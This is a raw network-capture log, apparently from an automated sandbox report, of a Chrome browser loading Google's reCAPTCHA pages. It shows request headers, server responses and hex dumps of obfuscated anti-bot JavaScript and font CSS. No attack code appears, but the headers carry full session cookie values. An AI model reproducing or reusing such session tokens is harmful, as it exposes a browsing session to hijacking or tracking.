https://www.google.com/recaptcha/api2/anchor?ar=1&k=6LfwuyUTAAAAAOAmoS0fdqijC2PbbdH4kjq62Y1b&co=aHR0cHM6Ly93d3cuZ29vZ2xlLmNvbTo0NDM.&hl=en&v=V6_85qpc2Xf2sbe3xTnRte7m&size=normal&s=p3PtVr9Rtc4zmVzsCHKovX43dv5ANmW4EHR9iS5ZRMIIERAfjGKzDw3w1miK0y9PbgnSQoncU4tpDcwY7U7I3H8AzWBIeIONPriGr-t350iz5rLlDnHnMsn8yHgPokxAlmiESfF9AloqhxAdR76omyagk91xvML4Zgl45cqaApyGFdTskMdQ5ovLMg_jWYZPNfaQGMkckH4WakBpGFZsgOrmbnGxvK-bAkHbTTEPDuj2EcntrL5pG7v9LQ6p5TbmtOdzjdBPXkSX3nRP41yJg3vY3C02z8E&cb=b3wwlq48xfop Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: AEC=AQTF6HwHZem5vFin2CELHBujibfR_VKBhw-RxHuZ4iQNcAs6IR83VDOu_g; NID=513=DBYhgSCOZ75WC-YsllQZVMclfTH8MQkjyHSS5lJt-QpKNQehD1ai0JBLumK5auikQxpaPqxdnAM4hyzB56wkpAdWKtsTNJusUOaVu3z1AKzGvbqpHhqnZdaItcVM1WlZiS5_nxXP4HzBXtL9wGt-QDp5I3VwJ5JFALrtCSjXIjg
2024-04-26 08:00:00 UTC	811	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Content-Security-Policy-Report-Only: require-trusted-types-for 'script'; report-uri https://csp.withgoogle.com/csp/botguard-scs Cross-Origin-Resource-Policy: cross-origin Cross-Origin-Opener-Policy: same-origin; report-to="botguard-scs" Report-To: {"group":"botguard-scs","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/botguard-scs"}]} Content-Length: 18268 X-Content-Type-Options: nosniff Server: sffe X-XSS-Protection: 0 Date: Thu, 25 Apr 2024 17:40:07 GMT Expires: Fri, 25 Apr 2025 17:40:07 GMT Cache-Control: public, max-age=31536000 Age: 51593 Last-Modified: Tue, 16 Apr 2024 13:30:00 GMT Content-Type: text/javascript Vary: Accept-Encoding Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-04-26 08:00:00 UTC	444	IN	Data Raw: 2f 2a 20 41 6e 74 69 2d 73 70 61 6d 2e 20 57 61 6e 74 20 74 6f 20 73 61 79 20 68 65 6c 6c 6f 3f 20 43 6f 6e 74 61 63 74 20 28 62 61 73 65 36 34 29 20 59 6d 39 30 5a 33 56 68 63 6d 51 74 59 32 39 75 64 47 46 6a 64 45 42 6e 62 32 39 6e 62 47 55 75 59 32 39 74 20 2a 2f 20 28 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 66 3d 66 75 6e 63 74 69 6f 6e 28 52 2c 4e 29 7b 69 66 28 21 28 4e 3d 28 52 3d 65 2e 74 72 75 73 74 65 64 54 79 70 65 73 2c 6e 75 6c 6c 29 2c 52 29 7c 7c 21 52 2e 63 72 65 61 74 65 50 6f 6c 69 63 79 29 72 65 74 75 72 6e 20 4e 3b 74 72 79 7b 4e 3d 52 2e 63 72 65 61 74 65 50 6f 6c 69 63 79 28 22 62 67 22 2c 7b 63 72 65 61 74 65 48 54 4d 4c 3a 70 2c 63 72 65 61 74 65 53 63 72 69 70 74 3a 70 2c 63 72 65 61 74 65 53 63 72 69 70 74 55 52 4c 3a 70 7d Data Ascii: /* Anti-spam. Want to say hello? Contact (base64) Ym90Z3VhcmQtY29udGFjdEBnb29nbGUuY29t */ (function(){var f=function(R,N){if(!(N=(R=e.trustedTypes,null),R)\|\|!R.createPolicy)return N;try{N=R.createPolicy("bg",{createHTML:p,createScript:p,createScriptURL:p}
2024-04-26 08:00:00 UTC	1255	IN	Data Raw: 65 61 74 65 53 63 72 69 70 74 28 50 29 7d 3a 66 75 6e 63 74 69 6f 6e 28 50 29 7b 72 65 74 75 72 6e 22 22 2b 50 7d 7d 28 65 29 28 41 72 72 61 79 28 37 38 32 34 2a 4d 61 74 68 2e 72 61 6e 64 6f 6d 28 29 7c 30 29 2e 6a 6f 69 6e 28 22 5c 6e 22 29 2b 5b 27 28 66 75 6e 63 74 69 6f 6e 28 29 7b 2f 2a 27 2c 0a 27 27 2c 0a 27 20 53 50 44 58 2d 4c 69 63 65 6e 73 65 2d 49 64 65 6e 74 69 66 69 65 72 3a 20 41 70 61 63 68 65 2d 32 2e 30 27 2c 0a 27 2a 2f 27 2c 0a 27 76 61 72 20 52 65 3d 66 75 6e 63 74 69 6f 6e 28 52 2c 4e 29 7b 72 65 74 75 72 6e 20 52 5b 4e 5d 3c 3c 32 34 7c 52 5b 28 4e 7c 30 29 2b 31 5d 3c 3c 31 36 7c 52 5b 28 4e 7c 30 29 2b 32 5d 3c 3c 38 7c 52 5b 28 4e 7c 30 29 2b 33 5d 7d 2c 64 3d 66 75 6e 63 74 69 6f 6e 28 52 2c 4e 2c 70 29 7b 69 66 28 34 33 38 3d Data Ascii: eateScript(P)}:function(P){return""+P}}(e)(Array(7824Math.random()\|0).join("\n")+['(function(){/','',' SPDX-License-Identifier: Apache-2.0','*/','var Re=function(R,N){return R[N]<<24\|R[(N\|0)+1]<<16\|R[(N\|0)+2]<<8\|R[(N\|0)+3]},d=function(R,N,p){if(438=
2024-04-26 08:00:00 UTC	1255	IN	Data Raw: 67 5b 77 5d 2c 52 29 3b 72 65 74 75 72 6e 20 4e 7d 2c 63 3d 66 75 6e 63 74 69 6f 6e 28 52 2c 4e 29 7b 66 6f 72 28 4e 3d 5b 5d 3b 52 2d 2d 3b 29 4e 2e 70 75 73 68 28 32 35 35 2a 4d 61 74 68 2e 72 61 6e 64 6f 6d 28 29 7c 30 29 3b 72 65 74 75 72 6e 20 4e 7d 2c 5a 3d 66 75 6e 63 74 69 6f 6e 28 52 2c 4e 29 7b 69 66 28 76 6f 69 64 20 30 3d 3d 3d 28 4e 3d 4e 2e 58 5b 52 5d 2c 4e 29 29 74 68 72 6f 77 5b 4d 2c 33 30 2c 52 5d 3b 69 66 28 4e 2e 76 61 6c 75 65 29 72 65 74 75 72 6e 20 4e 2e 63 72 65 61 74 65 28 29 3b 72 65 74 75 72 6e 28 4e 2e 63 72 65 61 74 65 28 33 2a 52 2a 52 2b 32 31 2a 52 2b 2d 33 34 29 2c 4e 29 2e 70 72 6f 74 6f 74 79 70 65 7d 2c 50 52 3d 66 75 6e 63 74 69 6f 6e 28 52 2c 4e 2c 70 2c 65 2c 77 2c 54 2c 6b 2c 50 29 7b 72 65 74 75 72 6e 20 50 3d 28 Data Ascii: g[w],R);return N},c=function(R,N){for(N=[];R--;)N.push(255Math.random()\|0);return N},Z=function(R,N){if(void 0===(N=N.X[R],N))throw[M,30,R];if(N.value)return N.create();return(N.create(3RR+21R+-34),N).prototype},PR=function(R,N,p,e,w,T,k,P){return P=(
2024-04-26 08:00:00 UTC	1255	IN	Data Raw: 2e 67 69 3d 66 2c 32 5d 5d 2c 66 29 3c 3c 33 29 2d 34 3b 74 72 79 7b 54 2e 63 4f 3d 74 41 28 52 65 28 54 2c 28 66 7c 30 29 2b 34 29 2c 52 65 28 54 2c 66 29 2c 79 29 7d 63 61 74 63 68 28 61 29 7b 74 68 72 6f 77 20 61 3b 7d 7d 54 2e 70 75 73 68 28 54 2e 63 4f 5b 50 26 37 5d 5e 6b 29 7d 2c 77 3d 5a 28 35 39 2c 4e 29 29 3a 52 3d 66 75 6e 63 74 69 6f 6e 28 6b 29 7b 54 2e 70 75 73 68 28 6b 29 7d 2c 65 26 26 52 28 65 26 32 35 35 29 2c 4e 3d 70 2e 6c 65 6e 67 74 68 2c 65 3d 30 3b 65 3c 4e 3b 65 2b 2b 29 52 28 70 5b 65 5d 29 7d 2c 45 2c 56 30 3d 66 75 6e 63 74 69 6f 6e 28 52 2c 4e 2c 70 29 7b 69 66 28 22 6f 62 6a 65 63 74 22 3d 3d 28 70 3d 74 79 70 65 6f 66 20 52 2c 70 29 29 69 66 28 52 29 7b 69 66 28 52 20 69 6e 73 74 61 6e 63 65 6f 66 20 41 72 72 61 79 29 72 65 Data Ascii: .gi=f,2]],f)<<3)-4;try{T.cO=tA(Re(T,(f\|0)+4),Re(T,f),y)}catch(a){throw a;}}T.push(T.cO[P&7]^k)},w=Z(59,N)):R=function(k){T.push(k)},e&&R(e&255),N=p.length,e=0;e<N;e++)R(p[e])},E,V0=function(R,N,p){if("object"==(p=typeof R,p))if(R){if(R instanceof Array)re
2024-04-26 08:00:00 UTC	1255	IN	Data Raw: 37 2c 28 4b 28 33 33 36 2c 52 2c 28 4b 28 34 38 35 2c 28 4b 28 28 64 28 35 35 2c 52 2c 28 4b 28 28 64 28 28 64 28 35 30 33 2c 52 2c 28 4b 28 31 32 37 2c 28 64 28 32 39 38 2c 52 2c 63 28 28 4b 28 34 31 38 2c 52 2c 28 4b 28 33 37 2c 52 2c 28 64 28 28 64 28 33 30 31 2c 52 2c 28 64 28 31 36 37 2c 28 4b 28 28 64 28 35 39 2c 52 2c 5b 30 2c 28 4b 28 31 37 31 2c 52 2c 28 4b 28 32 35 2c 28 4b 28 31 31 37 2c 28 4b 28 31 35 33 2c 52 2c 28 64 28 31 36 33 2c 52 2c 28 64 28 33 33 31 2c 28 64 28 34 33 38 2c 52 2c 28 52 2e 61 79 3d 28 4e 3d 28 28 52 2e 57 4f 3d 32 35 2c 52 29 2e 53 3d 28 52 2e 50 3d 5b 5d 2c 28 52 2e 54 3d 28 52 2e 6a 3d 66 61 6c 73 65 2c 52 29 2c 52 29 2e 4c 43 3d 30 2c 52 2e 5a 3d 28 28 28 28 52 2e 73 3d 30 2c 52 2e 59 3d 76 6f 69 64 20 30 2c 52 2e 42 Data Ascii: 7,(K(336,R,(K(485,(K((d(55,R,(K((d((d(503,R,(K(127,(d(298,R,c((K(418,R,(K(37,R,(d((d(301,R,(d(167,(K((d(59,R,[0,(K(171,R,(K(25,(K(117,(K(153,R,(d(163,R,(d(331,(d(438,R,(R.ay=(N=((R.WO=25,R).S=(R.P=[],(R.T=(R.j=false,R),R).LC=0,R.Z=((((R.s=0,R.Y=void 0,R.B
2024-04-26 08:00:00 UTC	1255	IN	Data Raw: 66 75 6e 63 74 69 6f 6e 28 50 2c 66 2c 79 2c 61 29 7b 64 28 28 66 3d 28 61 3d 56 28 28 79 3d 56 28 50 29 2c 50 29 29 2c 56 29 28 50 29 2c 66 29 2c 50 2c 5a 28 79 2c 50 29 7c 7c 5a 28 61 2c 50 29 29 7d 29 2c 39 34 31 29 29 2c 34 34 29 2c 52 2c 72 29 2c 31 37 29 2c 52 2c 66 75 6e 63 74 69 6f 6e 28 50 2c 66 2c 79 2c 61 29 7b 21 58 28 66 2c 74 72 75 65 2c 66 61 6c 73 65 2c 50 29 26 26 28 66 3d 54 32 28 50 29 2c 61 3d 66 2e 73 52 2c 79 3d 66 2e 6e 43 2c 50 2e 54 3d 3d 50 7c 7c 61 3d 3d 50 2e 5a 55 26 26 79 3d 3d 50 29 26 26 28 64 28 66 2e 7a 73 2c 50 2c 61 2e 61 70 70 6c 79 28 79 2c 66 2e 67 29 29 2c 50 2e 41 3d 50 2e 4e 28 29 29 7d 29 2c 30 29 29 2c 35 30 38 29 2c 52 2c 66 75 6e 63 74 69 6f 6e 28 50 2c 66 2c 79 2c 61 2c 74 2c 47 2c 53 2c 43 2c 62 2c 42 2c 59 Data Ascii: function(P,f,y,a){d((f=(a=V((y=V(P),P)),V)(P),f),P,Z(y,P)\|\|Z(a,P))}),941)),44),R,r),17),R,function(P,f,y,a){!X(f,true,false,P)&&(f=T2(P),a=f.sR,y=f.nC,P.T==P\|\|a==P.ZU&&y==P)&&(d(f.zs,P,a.apply(y,f.g)),P.A=P.N())}),0)),508),R,function(P,f,y,a,t,G,S,C,b,B,Y
2024-04-26 08:00:00 UTC	1255	IN	Data Raw: 29 2c 50 29 29 2c 56 29 28 50 29 2c 5a 28 66 2c 50 29 29 2c 74 29 2c 50 29 2c 5a 28 53 2c 50 29 29 2c 79 3d 5a 28 79 2c 50 29 2c 53 29 29 29 7b 66 6f 72 28 61 20 69 6e 20 47 3d 5b 5d 2c 53 29 47 2e 70 75 73 68 28 61 29 3b 53 3d 47 7d 69 66 28 50 2e 54 3d 3d 50 29 66 6f 72 28 66 3d 30 3c 66 3f 66 3a 31 2c 50 3d 53 2e 6c 65 6e 67 74 68 2c 61 3d 30 3b 61 3c 50 3b 61 2b 3d 66 29 74 28 53 2e 73 6c 69 63 65 28 61 2c 28 61 7c 30 29 2b 28 66 7c 30 29 29 2c 79 29 7d 7d 29 2c 52 29 2e 48 4f 3d 30 2c 52 29 2c 66 75 6e 63 74 69 6f 6e 28 50 2c 66 2c 79 2c 61 29 7b 28 61 3d 56 28 28 79 3d 28 66 3d 56 28 50 29 2c 56 28 50 29 29 2c 50 29 29 2c 50 2e 54 3d 3d 50 29 26 26 28 79 3d 5a 28 79 2c 50 29 2c 61 3d 5a 28 61 2c 50 29 2c 5a 28 66 2c 50 29 5b 79 5d 3d 61 2c 32 34 37 Data Ascii: ),P)),V)(P),Z(f,P)),t),P),Z(S,P)),y=Z(y,P),S))){for(a in G=[],S)G.push(a);S=G}if(P.T==P)for(f=0<f?f:1,P=S.length,a=0;a<P;a+=f)t(S.slice(a,(a\|0)+(f\|0)),y)}}),R).HO=0,R),function(P,f,y,a){(a=V((y=(f=V(P),V(P)),P)),P.T==P)&&(y=Z(y,P),a=Z(a,P),Z(f,P)[y]=a,247
2024-04-26 08:00:00 UTC	1255	IN	Data Raw: 6e 5b 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 4e 7d 2c 28 52 28 66 75 6e 63 74 69 6f 6e 28 70 29 7b 70 28 4e 29 7d 29 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 7d 29 5d 7d 2c 72 3d 74 68 69 73 7c 7c 73 65 6c 66 2c 49 65 3d 66 75 6e 63 74 69 6f 6e 28 52 2c 4e 2c 70 2c 65 29 7b 72 65 74 75 72 6e 20 5a 28 28 64 28 34 33 38 2c 52 2c 28 46 79 28 4e 2c 28 28 65 3d 5a 28 34 33 38 2c 52 29 2c 52 2e 50 29 26 26 65 3c 52 2e 73 3f 28 64 28 34 33 38 2c 52 2c 52 2e 73 29 2c 5a 65 28 52 2c 70 29 29 3a 64 28 34 33 38 2c 52 2c 70 29 2c 52 29 29 2c 65 29 29 2c 32 36 31 29 2c 52 29 7d 2c 4e 5f 3d 66 75 6e 63 74 69 6f 6e 28 52 2c 4e 2c 70 29 7b 72 65 74 75 72 6e 28 70 3d 6c 5b 4e 2e 57 5d 28 4e 2e 4f 52 29 2c 70 5b 4e 2e 57 5d 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 Data Ascii: n[function(){return N},(R(function(p){p(N)}),function(){})]},r=this\|\|self,Ie=function(R,N,p,e){return Z((d(438,R,(Fy(N,((e=Z(438,R),R.P)&&e<R.s?(d(438,R,R.s),Ze(R,p)):d(438,R,p),R)),e)),261),R)},N_=function(R,N,p){return(p=l[N.W](N.OR),p[N.W]=function(){r
2024-04-26 08:00:00 UTC	1255	IN	Data Raw: 4e 5d 7c 30 29 2d 28 52 5b 28 28 4e 7c 30 29 2b 31 29 25 33 5d 7c 30 29 2d 28 65 7c 30 29 5e 28 31 3d 3d 4e 3f 65 3c 3c 70 3a 65 3e 3e 3e 70 29 7d 63 61 74 63 68 28 77 29 7b 74 68 72 6f 77 20 77 3b 7d 7d 2c 6e 3d 66 75 6e 63 74 69 6f 6e 28 52 2c 4e 2c 70 2c 65 2c 77 2c 54 29 7b 69 66 28 21 70 2e 72 69 26 26 28 54 3d 76 6f 69 64 20 30 2c 4e 26 26 4e 5b 30 5d 3d 3d 3d 4d 26 26 28 54 3d 4e 5b 32 5d 2c 52 3d 4e 5b 31 5d 2c 4e 3d 76 6f 69 64 20 30 29 2c 65 3d 5a 28 31 37 32 2c 70 29 2c 30 3d 3d 65 2e 6c 65 6e 67 74 68 26 26 28 77 3d 5a 28 33 33 31 2c 70 29 3e 3e 33 2c 65 2e 70 75 73 68 28 52 2c 77 3e 3e 38 26 32 35 35 2c 77 26 32 35 35 29 2c 76 6f 69 64 20 30 21 3d 54 26 26 65 2e 70 75 73 68 28 54 26 32 35 35 29 29 2c 52 3d 22 22 2c 4e 26 26 28 4e 2e 6d 65 73 Data Ascii: N]\|0)-(R[((N\|0)+1)%3]\|0)-(e\|0)^(1==N?e<<p:e>>>p)}catch(w){throw w;}},n=function(R,N,p,e,w,T){if(!p.ri&&(T=void 0,N&&N[0]===M&&(T=N[2],R=N[1],N=void 0),e=Z(172,p),0==e.length&&(w=Z(331,p)>>3,e.push(R,w>>8&255,w&255),void 0!=T&&e.push(T&255)),R="",N&&(N.mes
2024-04-26 08:00:00 UTC	1255	IN	Data Raw: 2e 41 3d 54 3b 69 66 28 21 6b 7c 7c 54 2d 65 2e 43 3c 65 2e 42 4f 2d 28 70 3f 32 35 35 3a 4e 3f 35 3a 32 29 29 72 65 74 75 72 6e 20 66 61 6c 73 65 3b 72 65 74 75 72 6e 20 65 2e 5a 3d 28 64 28 34 33 38 2c 28 70 3d 5a 28 28 65 2e 74 54 3d 52 2c 4e 29 3f 33 33 31 3a 34 33 38 2c 65 29 2c 65 29 2c 65 2e 73 29 2c 65 2e 56 2e 70 75 73 68 28 5b 69 47 2c 70 2c 4e 3f 52 2b 31 3a 52 2c 65 2e 44 2c 65 2e 6a 2c 65 2e 76 2c 65 2e 69 5d 29 2c 44 65 29 2c 74 72 75 65 7d 2c 48 3d 66 75 6e 63 74 69 6f 6e 28 52 2c 4e 29 7b 4e 2e 42 3d 28 28 4e 2e 42 3f 4e 2e 42 2b 22 7e 22 3a 22 45 3a 22 29 2b 52 2e 6d 65 73 73 61 67 65 2b 22 3a 22 2b 52 2e 73 74 61 63 6b 29 2e 73 6c 69 63 65 28 30 2c 32 30 34 38 29 7d 2c 44 65 3d 72 2e 72 65 71 75 65 73 74 49 64 6c 65 43 61 6c 6c 62 61 63 Data Ascii: .A=T;if(!k\|\|T-e.C<e.BO-(p?255:N?5:2))return false;return e.Z=(d(438,(p=Z((e.tT=R,N)?331:438,e),e),e.s),e.V.push([iG,p,N?R+1:R,e.D,e.j,e.v,e.i]),De),true},H=function(R,N){N.B=((N.B?N.B+"~":"E:")+R.message+":"+R.stack).slice(0,2048)},De=r.requestIdleCallbac

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
78	192.168.2.4	50005	172.217.3.68	443	1228	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-26 08:00:00 UTC	1337	OUT	GET /recaptcha/api2/bframe?hl=en&v=V6_85qpc2Xf2sbe3xTnRte7m&k=6LfwuyUTAAAAAOAmoS0fdqijC2PbbdH4kjq62Y1b HTTP/1.1 Host: www.google.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiUocsBCJz+zAEIhaDNAQjcvc0BCLnKzQEIotHNAQiK080BCJ7WzQEIp9jNAQj5wNQVGPbJzQEYutLNARjrjaUX Sec-Fetch-Site: same-origin Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: https://www.google.com/sorry/index?continue=https://www.google.com/&q=EgRmgZjcGPq9rbEGIjCHdQ87I_8X7EpERwXOCmmjL9oKAXFr96F1WOmI1XIOeJbDFyiByqh7q9vy5JBTwvAyAXJKGVNPUlJZX0FCVVNJVkVfTkVUX01FU1NBR0VaAUM Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: AEC=AQTF6HwHZem5vFin2CELHBujibfR_VKBhw-RxHuZ4iQNcAs6IR83VDOu_g; NID=513=DBYhgSCOZ75WC-YsllQZVMclfTH8MQkjyHSS5lJt-QpKNQehD1ai0JBLumK5auikQxpaPqxdnAM4hyzB56wkpAdWKtsTNJusUOaVu3z1AKzGvbqpHhqnZdaItcVM1WlZiS5_nxXP4HzBXtL9wGt-QDp5I3VwJ5JFALrtCSjXIjg
2024-04-26 08:00:01 UTC	891	IN	HTTP/1.1 200 OK Content-Type: text/html; charset=utf-8 Cross-Origin-Resource-Policy: cross-origin Cross-Origin-Embedder-Policy: require-corp Report-To: {"group":"recaptcha","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/recaptcha"}]} Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Fri, 26 Apr 2024 08:00:01 GMT Content-Security-Policy: script-src 'report-sample' 'nonce-xPOKONfMoSkxfozp2zfTWA' 'unsafe-inline' 'strict-dynamic' https: http: 'unsafe-eval';object-src 'none';base-uri 'self';report-uri https://csp.withgoogle.com/csp/recaptcha/1 X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block Server: GSE Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-04-26 08:00:01 UTC	364	IN	Data Raw: 31 64 31 31 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 3e 3c 68 74 6d 6c 20 64 69 72 3d 22 6c 74 72 22 20 6c 61 6e 67 3d 22 65 6e 22 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 22 3e 0a 0a 3c 74 69 74 6c 65 3e 72 65 43 41 50 54 43 48 41 3c 2f 74 69 74 6c 65 3e 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0a 2f 2a 20 63 79 72 69 6c 6c 69 63 2d 65 78 74 20 2a 2f 0a 40 66 6f 6e 74 2d 66 61 63 65 20 Data Ascii: 1d11<!DOCTYPE HTML><html dir="ltr" lang="en"><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"><meta http-equiv="X-UA-Compatible" content="IE=edge"><title>reCAPTCHA</title><style type="text/css">/* cyrillic-ext */@font-face
2024-04-26 08:00:01 UTC	1255	IN	Data Raw: 76 31 38 2f 4b 46 4f 6d 43 6e 71 45 75 39 32 46 72 31 4d 75 37 32 78 4b 4f 7a 59 2e 77 6f 66 66 32 29 20 66 6f 72 6d 61 74 28 27 77 6f 66 66 32 27 29 3b 0a 20 20 75 6e 69 63 6f 64 65 2d 72 61 6e 67 65 3a 20 55 2b 30 34 36 30 2d 30 35 32 46 2c 20 55 2b 31 43 38 30 2d 31 43 38 38 2c 20 55 2b 32 30 42 34 2c 20 55 2b 32 44 45 30 2d 32 44 46 46 2c 20 55 2b 41 36 34 30 2d 41 36 39 46 2c 20 55 2b 46 45 32 45 2d 46 45 32 46 3b 0a 7d 0a 2f 2a 20 63 79 72 69 6c 6c 69 63 20 2a 2f 0a 40 66 6f 6e 74 2d 66 61 63 65 20 7b 0a 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 27 52 6f 62 6f 74 6f 27 3b 0a 20 20 66 6f 6e 74 2d 73 74 79 6c 65 3a 20 6e 6f 72 6d 61 6c 3b 0a 20 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 34 30 30 3b 0a 20 20 73 72 63 3a 20 75 72 6c 28 2f 2f 66 6f 6e Data Ascii: v18/KFOmCnqEu92Fr1Mu72xKOzY.woff2) format('woff2'); unicode-range: U+0460-052F, U+1C80-1C88, U+20B4, U+2DE0-2DFF, U+A640-A69F, U+FE2E-FE2F;}/* cyrillic */@font-face { font-family: 'Roboto'; font-style: normal; font-weight: 400; src: url(//fon
2024-04-26 08:00:01 UTC	1255	IN	Data Raw: 32 30 41 42 3b 0a 7d 0a 2f 2a 20 6c 61 74 69 6e 2d 65 78 74 20 2a 2f 0a 40 66 6f 6e 74 2d 66 61 63 65 20 7b 0a 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 27 52 6f 62 6f 74 6f 27 3b 0a 20 20 66 6f 6e 74 2d 73 74 79 6c 65 3a 20 6e 6f 72 6d 61 6c 3b 0a 20 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 34 30 30 3b 0a 20 20 73 72 63 3a 20 75 72 6c 28 2f 2f 66 6f 6e 74 73 2e 67 73 74 61 74 69 63 2e 63 6f 6d 2f 73 2f 72 6f 62 6f 74 6f 2f 76 31 38 2f 4b 46 4f 6d 43 6e 71 45 75 39 32 46 72 31 4d 75 37 47 78 4b 4f 7a 59 2e 77 6f 66 66 32 29 20 66 6f 72 6d 61 74 28 27 77 6f 66 66 32 27 29 3b 0a 20 20 75 6e 69 63 6f 64 65 2d 72 61 6e 67 65 3a 20 55 2b 30 31 30 30 2d 30 32 41 46 2c 20 55 2b 30 33 30 34 2c 20 55 2b 30 33 30 38 2c 20 55 2b 30 33 32 39 2c 20 55 2b 31 45 30 Data Ascii: 20AB;}/* latin-ext */@font-face { font-family: 'Roboto'; font-style: normal; font-weight: 400; src: url(//fonts.gstatic.com/s/roboto/v18/KFOmCnqEu92Fr1Mu7GxKOzY.woff2) format('woff2'); unicode-range: U+0100-02AF, U+0304, U+0308, U+0329, U+1E0
2024-04-26 08:00:01 UTC	1255	IN	Data Raw: 55 2b 30 34 42 30 2d 30 34 42 31 2c 20 55 2b 32 31 31 36 3b 0a 7d 0a 2f 2a 20 67 72 65 65 6b 2d 65 78 74 20 2a 2f 0a 40 66 6f 6e 74 2d 66 61 63 65 20 7b 0a 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 27 52 6f 62 6f 74 6f 27 3b 0a 20 20 66 6f 6e 74 2d 73 74 79 6c 65 3a 20 6e 6f 72 6d 61 6c 3b 0a 20 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 35 30 30 3b 0a 20 20 73 72 63 3a 20 75 72 6c 28 2f 2f 66 6f 6e 74 73 2e 67 73 74 61 74 69 63 2e 63 6f 6d 2f 73 2f 72 6f 62 6f 74 6f 2f 76 31 38 2f 4b 46 4f 6c 43 6e 71 45 75 39 32 46 72 31 4d 6d 45 55 39 66 43 42 63 34 45 73 41 2e 77 6f 66 66 32 29 20 66 6f 72 6d 61 74 28 27 77 6f 66 66 32 27 29 3b 0a 20 20 75 6e 69 63 6f 64 65 2d 72 61 6e 67 65 3a 20 55 2b 31 46 30 30 2d 31 46 46 46 3b 0a 7d 0a 2f 2a 20 67 72 65 65 6b Data Ascii: U+04B0-04B1, U+2116;}/* greek-ext /@font-face { font-family: 'Roboto'; font-style: normal; font-weight: 500; src: url(//fonts.gstatic.com/s/roboto/v18/KFOlCnqEu92Fr1MmEU9fCBc4EsA.woff2) format('woff2'); unicode-range: U+1F00-1FFF;}/ greek
2024-04-26 08:00:01 UTC	1255	IN	Data Raw: 63 65 20 7b 0a 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 27 52 6f 62 6f 74 6f 27 3b 0a 20 20 66 6f 6e 74 2d 73 74 79 6c 65 3a 20 6e 6f 72 6d 61 6c 3b 0a 20 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 35 30 30 3b 0a 20 20 73 72 63 3a 20 75 72 6c 28 2f 2f 66 6f 6e 74 73 2e 67 73 74 61 74 69 63 2e 63 6f 6d 2f 73 2f 72 6f 62 6f 74 6f 2f 76 31 38 2f 4b 46 4f 6c 43 6e 71 45 75 39 32 46 72 31 4d 6d 45 55 39 66 42 42 63 34 2e 77 6f 66 66 32 29 20 66 6f 72 6d 61 74 28 27 77 6f 66 66 32 27 29 3b 0a 20 20 75 6e 69 63 6f 64 65 2d 72 61 6e 67 65 3a 20 55 2b 30 30 30 30 2d 30 30 46 46 2c 20 55 2b 30 31 33 31 2c 20 55 2b 30 31 35 32 2d 30 31 35 33 2c 20 55 2b 30 32 42 42 2d 30 32 42 43 2c 20 55 2b 30 32 43 36 2c 20 55 2b 30 32 44 41 2c 20 55 2b 30 32 44 43 2c 20 55 2b Data Ascii: ce { font-family: 'Roboto'; font-style: normal; font-weight: 500; src: url(//fonts.gstatic.com/s/roboto/v18/KFOlCnqEu92Fr1MmEU9fBBc4.woff2) format('woff2'); unicode-range: U+0000-00FF, U+0131, U+0152-0153, U+02BB-02BC, U+02C6, U+02DA, U+02DC, U+
